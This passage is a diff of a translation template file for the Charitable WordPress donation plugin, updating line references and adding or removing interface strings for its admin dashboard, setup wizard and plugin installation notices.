\n@@ -7243,7 +7262,6 @@\n #: includes\u002Felementor\u002Fwidgets\u002Fclass-charitable-elementor-campaigns-widget.php:132\n #: includes\u002Ffields\u002Fdefault-fields\u002Fcampaign-fields.php:142\n #: includes\u002Fwidgets\u002Fclass-charitable-donors-widget.php:74\n-#: assets\u002Fjs\u002Fblocks\u002Fdonations\u002Fbuild\u002Findex.js:97\n msgid \"Title\"\n msgstr \"\"\n \n@@ -7412,6 +7430,10 @@\n msgid \"There are no tabs yet for this template. You can \"\n msgstr \"\"\n \n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-form.php:37\n+msgid \"Form\"\n+msgstr \"\"\n+\n #: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-help.php:52\n #: includes\u002Fadmin\u002Ftemplates\u002Fheader.php:33\n msgid \"Help\"\n@@ -7478,26 +7500,6 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-marketing.php:241\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-marketing.php:338\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-payment.php:196\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-payment.php:424\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Ftemplates\u002Fclass-templates.php:669\n-#: includes\u002Fadmin\u002Fcampaigns\u002Fclass-charitable-campaign-list-table.php:662\n-#: includes\u002Fadmin\u002Fdonations\u002Fclass-charitable-donation-list-table.php:1051\n-#: includes\u002Fadmin\u002Fplugins\u002Fclass-charitable-admin-plugins-third-party.php:588\n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:254\n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:276\n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:297\n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:318\n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:339\n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:360\n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:515\n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:531\n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:540\n-msgid \"Learn More\"\n-msgstr \"\"\n-\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-marketing.php:241\n #: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-marketing.php:612\n #: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-marketing.php:624\n #: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-payment.php:196\n@@ -8037,12 +8039,12 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fsettings\u002Fclass-settings-addons.php:63\n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1796\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1822\n #: includes\u002Fadmin\u002Fclass-charitable-admin-getting-started.php:363\n #: includes\u002Fadmin\u002Fclass-charitable-admin-getting-started.php:436\n #: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard-legacy.php:1094\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1853\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2281\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1899\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2327\n #: includes\u002Fadmin\u002Fdonations\u002Fclass-charitable-donation-list-table.php:1021\n #: includes\u002Fadmin\u002Fdonations\u002Fclass-charitable-donation-list-table.php:1023\n #: includes\u002Fadmin\u002Fviews\u002Fabout\u002Ftabs\u002Flite-vs-pro.php:64\n@@ -8055,7 +8057,7 @@\n #: includes\u002Fadmin\u002Fclass-charitable-admin-getting-started.php:371\n #: includes\u002Fadmin\u002Fclass-charitable-admin-getting-started.php:439\n #: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard-legacy.php:1098\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2286\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2332\n #: includes\u002Fadmin\u002Fviews\u002Fabout\u002Ftabs\u002Flite-vs-pro.php:73\n #: includes\u002Fadmin\u002Fviews\u002Fchecklist\u002Fchecklist.php:528\n #: includes\u002Fadmin\u002Fviews\u002Fchecklist\u002Fchecklist.php:572\n@@ -8111,7 +8113,6 @@\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-export-campaigns.php:229\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php:375\n #: includes\u002Ffields\u002Fdefault-fields\u002Fcampaign-fields.php:53\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-stats\u002Fbuild\u002Findex.js:138\n #: _legacy_src\u002Fblocks\u002Fcampaign-stats\u002Fsettings-editor.js:21\n msgid \"Goal\"\n msgstr \"\"\n@@ -8534,9 +8535,9 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fcampaigns\u002Fclass-charitable-campaign-list-table.php:793\n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1775\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1839\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3631\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1801\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1885\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3677\n #: includes\u002Fadmin\u002Fdonations\u002Fclass-charitable-donation-list-table.php:1166\n #: includes\u002Fadmin\u002Fviews\u002Fautomation\u002Fautomation.php:139\n #: includes\u002Fadmin\u002Fviews\u002Fbackups\u002Fbackups.php:139\n@@ -8548,7 +8549,7 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fcampaigns\u002Fclass-charitable-campaign-list-table.php:802\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2684\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2730\n #: includes\u002Fadmin\u002Fdonations\u002Fclass-charitable-donation-list-table.php:1193\n msgid \"Install & Activate\"\n msgstr \"\"\n@@ -8932,60 +8933,60 @@\n msgid \"Addon not installed. Invalid download URL.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1215\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1214\n msgid \"Addon installed and activated.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1222\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1232\n msgid \"Addon installed.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1520\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1530\n msgid \"Invalid notification ID.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1526\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1536\n msgid \"No notifications found.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1533\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1559\n msgid \"Notification removed.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1535\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1561\n msgid \"Notification not found.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1731\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1757\n msgid \"Charitable Test Mode Active\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1765\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1829\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1791\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1875\n msgid \"Upgrade to Pro to Unlock Powerful Donation Features\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1776\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1840\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1802\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1886\n msgid \"Learn more about all features →\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1797\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1823\n #: includes\u002Fadmin\u002Fclass-charitable-admin-getting-started.php:347\n #: includes\u002Fadmin\u002Fclass-charitable-admin-getting-started.php:447\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1854\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1900\n #: includes\u002Fadmin\u002Fviews\u002Fabout\u002Ftabs\u002Flite-vs-pro.php:67\n #: includes\u002Fadmin\u002Fviews\u002Fchecklist\u002Fchecklist.php:580\n msgid \"Peer-to-Peer Fundraising\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1798\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1855\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1824\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1901\n msgid \"Donor Database\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1799\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1856\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1825\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1902\n #: includes\u002Fadmin\u002Fsettings\u002Fclass-charitable-settings.php:953\n #: includes\u002Fadmin\u002Fsettings\u002Fclass-charitable-settings.php:954\n #: includes\u002Fadmin\u002Fsettings\u002Fclass-charitable-settings.php:956\n@@ -8993,33 +8994,33 @@\n msgid \"Donor Dashboard\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1800\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1857\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1826\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1903\n msgid \"PDF & Annual Receipts\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1825\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1879\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1851\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1925\n msgid \"Anonymous Giving\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1826\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1880\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1852\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1926\n msgid \"Fee Coverage Option\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1827\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1881\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1853\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1927\n msgid \"Email Marketing Integration\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1828\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1882\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1854\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1928\n msgid \"Built-In Analytics & Reports\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1829\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1883\n+#: includes\u002Fadmin\u002Fcharitable-core-admin-functions.php:1855\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1929\n msgid \"Flexible Payment Methods\"\n msgstr \"\"\n \n@@ -9114,7 +9115,7 @@\n #: includes\u002Fadmin\u002Fclass-charitable-about.php:405\n #: includes\u002Fadmin\u002Fsettings\u002Fclass-charitable-general-settings.php:155\n #: includes\u002Fadmin\u002Fsettings\u002Fclass-charitable-privacy-settings.php:107\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:426\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:427\n msgid \"None\"\n msgstr \"\"\n \n@@ -9501,7 +9502,7 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fclass-charitable-admin-getting-started.php:440\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2283\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2329\n #: includes\u002Fadmin\u002Fviews\u002Fchecklist\u002Fchecklist.php:573\n msgid \"Gift Aid\"\n msgstr \"\"\n@@ -9776,6 +9777,14 @@\n msgid \"Edit\"\n msgstr \"\"\n \n+#: includes\u002Fadmin\u002Fclass-charitable-admin.php:1619\n+msgid \"Plugin installed successfully\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fclass-charitable-admin.php:1662\n+msgid \"Plugin activated successfully\"\n+msgstr \"\"\n+\n #: includes\u002Fadmin\u002Fclass-charitable-external-banner.php:89\n #: includes\u002Fadmin\u002Fclass-charitable-givewp-notice.php:101\n msgid \"Import Now\"\n@@ -9858,7 +9867,7 @@\n \n #: includes\u002Fadmin\u002Fcustomizer\u002Fclass-charitable-customizer.php:148\n #: includes\u002Fadmin\u002Fsettings\u002Fclass-charitable-privacy-settings.php:165\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:472\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:473\n #: includes\u002Fprivacy\u002Fcharitable-privacy-functions.php:49\n #: includes\u002Fprivacy\u002Fcharitable-privacy-functions.php:52\n #: includes\u002Fprivacy\u002Fcharitable-privacy-functions.php:149\n@@ -9884,7 +9893,7 @@\n \n #: includes\u002Fadmin\u002Fcustomizer\u002Fclass-charitable-customizer.php:177\n #: includes\u002Fadmin\u002Fsettings\u002Fclass-charitable-privacy-settings.php:151\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:459\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:460\n #: includes\u002Fdata\u002Fclass-charitable-donors-db.php:268\n #: includes\u002Fforms\u002Fclass-charitable-donation-form.php:1141\n #: includes\u002Fforms\u002Fclass-charitable-profile-form.php:355\n@@ -9912,7 +9921,7 @@\n \n #: includes\u002Fadmin\u002Fcustomizer\u002Fclass-charitable-customizer.php:208\n #: includes\u002Fadmin\u002Fsettings\u002Fclass-charitable-privacy-settings.php:183\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:485\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:486\n #: includes\u002Fprivacy\u002Fcharitable-privacy-functions.php:31\n #: includes\u002Fprivacy\u002Fcharitable-privacy-functions.php:121\n msgid \"I have read and agree to the website [terms].\"\n@@ -9987,21 +9996,21 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard-legacy.php:176\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:336\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:382\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php:227\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php:272\n msgid \"Last 7 Days\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard-legacy.php:177\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:337\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:383\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php:228\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php:273\n msgid \"Last 14 Days\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard-legacy.php:178\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:338\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:384\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php:229\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php:274\n msgid \"Last 30 Days\"\n@@ -10012,7 +10021,7 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard-legacy.php:493\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:397\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:443\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports-download.php:581\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php:372\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php:944\n@@ -10031,7 +10040,7 @@\n \n #: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard-legacy.php:517\n #: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard-legacy.php:1082\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:439\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:485\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports-download.php:430\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php:591\n #: includes\u002Fadmin\u002Fviews\u002Freports\u002Foverview.php:192\n@@ -10055,8 +10064,8 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard-legacy.php:548\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1098\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1280\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1144\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1326\n #: includes\u002Fdata\u002Fclass-charitable-post-types.php:306\n #: includes\u002Fdata\u002Fclass-charitable-post-types.php:307\n msgid \"Add Donation\"\n@@ -10156,7 +10165,7 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard-legacy.php:1106\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2284\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2330\n #: includes\u002Fadmin\u002Fviews\u002Fchecklist\u002Fchecklist.php:506\n msgid \"Ambassadors\"\n msgstr \"\"\n@@ -10172,7 +10181,7 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard-legacy.php:1118\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2285\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:2331\n msgid \"Anonymous Donations\"\n msgstr \"\"\n \n@@ -10233,328 +10242,341 @@\n msgid \"Upgrade Your Plan to Unlock More Powerful Features\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:163\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:110\n+msgid \"Finish Setting Up Charitable\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:111\n+msgid \"Looks like you started the setup wizard but didn't finish. Pick up where you left off and we'll have you ready to accept donations in just a couple more steps.\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:114\n+#: includes\u002Fadmin\u002Fviews\u002Fwelcome-page\u002Fpage.php:44\n+msgid \"Resume Setup Wizard\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:209\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php:3695\n msgid \"Overview\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:168\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:172\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:214\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:218\n msgid \"+ Add New Campaign\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:243\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:289\n #: includes\u002Fadmin\u002Ftemplates\u002Fdashboard-notifications.php:32\n msgid \"Previous message\"\n msgstr \"\"\n \n #. translators: 1: current notification number, 2: total notifications\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:250\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:296\n #, php-format\n msgid \"%1$d of %2$d\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:257\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:303\n #: includes\u002Fadmin\u002Ftemplates\u002Fdashboard-notifications.php:36\n msgid \"Next message\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:272\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:318\n #: includes\u002Fadmin\u002Ftemplates\u002Fdashboard-notifications.php:54\n #: includes\u002Fdonations\u002Fclass-charitable-donation-notices.php:120\n msgid \"Important\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:367\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:413\n #: includes\u002Fadmin\u002Fviews\u002Fdashboard\u002Fdashboard-legacy.php:94\n #: includes\u002Fadmin\u002Fviews\u002Freports\u002Foverview.php:162\n msgid \"Print Summary\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:416\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:462\n msgid \"Avg. Donations\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:435\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:481\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php:373\n msgid \"Total Donors\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:936\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:982\n msgid \"No Campaigns Yet!\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:937\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:983\n msgid \"Create your first campaign to start receiving donations.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1001\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1047\n #: includes\u002Fadmin\u002Fviews\u002Fcampaigns-page\u002Fexport-form.php:57\n #: includes\u002Fadmin\u002Fviews\u002Fcampaigns-page\u002Ffilter-form.php:40\n msgid \"Finished\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1002\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1048\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php:350\n #: includes\u002Fdonations\u002Fcharitable-donation-functions.php:351\n msgid \"Failed\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1095\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1141\n msgid \"No Donations Yet!\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1096\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1142\n msgid \"Start receiving donations to see them here.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1239\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1285\n msgid \"No email\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1276\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1322\n msgid \"No Donors Yet!\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1277\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1323\n msgid \"Start receiving donations to see your top donors here.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1347\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1393\n msgid \"Unknown\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1376\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1422\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php:460\n msgid \"Recurring\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1376\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1422\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php:460\n msgid \"One-Time\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1381\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1427\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php:468\n msgid \"Multiple\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1513\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1559\n #: includes\u002Fadmin\u002Fviews\u002Fmetaboxes\u002Fcampaign-benefactors\u002Fsummary.php:35\n msgid \"Delete\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1532\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3686\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1578\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3732\n msgid \"No donor comments yet.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1533\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3687\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1579\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:3733\n msgid \"Donor comments will appear here once donors start leaving messages with their donations.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1552\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1598\n msgid \"Donor Comments Not Available\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1553\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1599\n msgid \"The Donor Comments addon is not installed. Upgrade to \u003Cstrong>Charitable Pro\u003C\u002Fstrong> to access this feature.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1571\n+#: 